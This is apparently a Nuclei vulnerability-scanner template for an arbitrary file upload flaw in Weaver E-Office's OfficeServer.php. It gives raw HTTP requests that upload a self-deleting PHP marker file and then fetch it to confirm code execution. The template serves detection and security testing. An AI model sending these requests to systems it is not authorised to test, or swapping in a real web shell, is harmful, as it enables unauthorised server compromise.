55 lines
2.2 KiB
YAML
Executable File
55 lines
2.2 KiB
YAML
Executable File
id: weaver-office-server-file-upload
|
|
|
|
info:
|
|
name: OA E-Office OfficeServer.php Arbitrary File Upload
|
|
author: SleepingBag945
|
|
severity: critical
|
|
description: |
|
|
OA E-Office OfficeServer.php has an arbitrary file upload vulnerability. Attackers can obtain sensitive information on the server through the vulnerability.
|
|
reference:
|
|
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Office%20OfficeServer.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
fofa-query: app="泛微-EOffice"
|
|
tags: weaver,e-office,oa,rce,intrusive,fileupload
|
|
variables:
|
|
filename: "{{to_lower(rand_base(5))}}"
|
|
string: "weaver-office-server-file-upload"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: zh-CN,zh;q=0.9
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpoiBFy4ANA8daew
|
|
|
|
------WebKitFormBoundaryLpoiBFy4ANA8daew
|
|
Content-Disposition: form-data;name="FileData";filename="{{filename}}.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php echo md5("{{string}}");unlink(__FILE__);?>
|
|
|
|
------WebKitFormBoundaryLpoiBFy4ANA8daew
|
|
Content-Disposition: form-data;name="FormData"
|
|
|
|
{'USERNAME':'admin','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'{{filename}}.php'}
|
|
------WebKitFormBoundaryLpoiBFy4ANA8daew--
|
|
- |
|
|
GET /eoffice10/server/public/iWebOffice2015/Document/{{filename}}.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- '{{md5(string)}}'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a0047304502203127ce2e098b2266d9481c1c61ac61144546c744a6df4106dd3ceebee2e93767022100802af24d36ee037cd653efa73e917ade93c76cc561d9572fb27f38bfffdd04b5:922c64590222798bb761d5b6d8e72950 |